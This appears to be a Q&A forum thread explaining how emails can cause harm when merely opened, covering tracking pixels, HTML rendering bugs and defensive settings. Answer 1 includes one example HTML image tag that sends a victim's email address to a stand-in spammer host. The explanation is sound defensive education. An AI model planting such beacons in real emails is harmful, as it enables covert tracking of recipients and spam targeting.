How might an email do damage merely by being opened?

Question

E.g. http://www.dailymail.co.uk/sciencetech/article-2094982/Threat-new-virus-infected-emails-PC-DONT-open-attachments.html?ito=feeds-newsxml

Assuming that the user clicks no links and opens no attachments in the email or anything of that sort — just opens it.

Answer 1

I'll give you a really simple example. A common spammer trick way back before clients were updated to counter this was to embed a 1px square GIF in an HTML email. You'd get a message like this:

<img src="http://nastyevilspammer.invalid/pic.gif?email=poorvictim@domain.com" />

Needless to say, that pic.gif is in fact a cgi script which takes a get parameter. The result looks like this:

1. Client opens email.
2. Client automatically renders html including fetching all remote content.
3. nastyevilspammer.invalid is asked for that address, including the email in the get parameter.
4. A program is triggered on the server, records the get parameter and returns the 1px GIF.

This trick was used to confirm email addresses as active spam targets, to move them onto active address lists, which spammers then sell.

The problem, and solution, lies in step 2 - automatically trusting the incoming content.

Bugs in the email client that only require the email to be read require a bug in the client reader that can be used to trigger the exploit. For example, a HTML rendering engine might load the flash player. It's unlikely, but there could be exploits in the client's string processing code. And so on.

Now, this also applies to web clients too - who will be supplying html to the browser to render, thus opening up all attached browser vulnerabilities. I wasn't going to read the article, but I now have:

The new generation of e-mail-borne malware consists of HTML e-mails which automatically downloads malware when the e-mail is opened.'

The article is a little light on details, but I'd like to take time to provide some more calm advice:

• This is the Daily Mail and I'm from the UK. They do have a tendency to scare stories.
• This is not by any means a "new generation" of malware. People have been exploiting HTML-email bugs since the Stone Age, or at any rate since before the first Matrix movie, and drive-by-downloads have been going for a while too.
• A very simple counter measure is to configure your email client not to render html content at all, by default. You can then optionally load html email from trusted sources. Most decent email readers can do this and do this by default - including GMail and Thunderbird (the two clients I use).

• You can go a long way to improving your chances of avoiding malware by doing the usual: turn on Windows Updates. Install firewall/antivirus. Be careful of what sites you visit. Add security-focused extensions to your browser (NotScripts, noscript etc). Use the latest browser and OS you can. Etc.

  and finally:

• Email may appear to come from your contacts/friends, but you've no way to verify that - be wary. Your bank/building society do not need you to verify your contact details via the internet - if they did have an issue they'd likely write to you and if you're ever unsure, go to your branch. A rich man in Nigeria has not left you a large inheritence, those blue pills don't work and anything else that seems too good to be true probably is.

Answer 2

In that case the email must exploit a bug in your email client. That's relatively hard for plain text emails, but easier for html emails. Html parsers and renderers are complex, and often contain bugs that allow code execution(for example a buffer overflow). Viewing an evil email is pretty similar to viewing an evil website from a security point of view.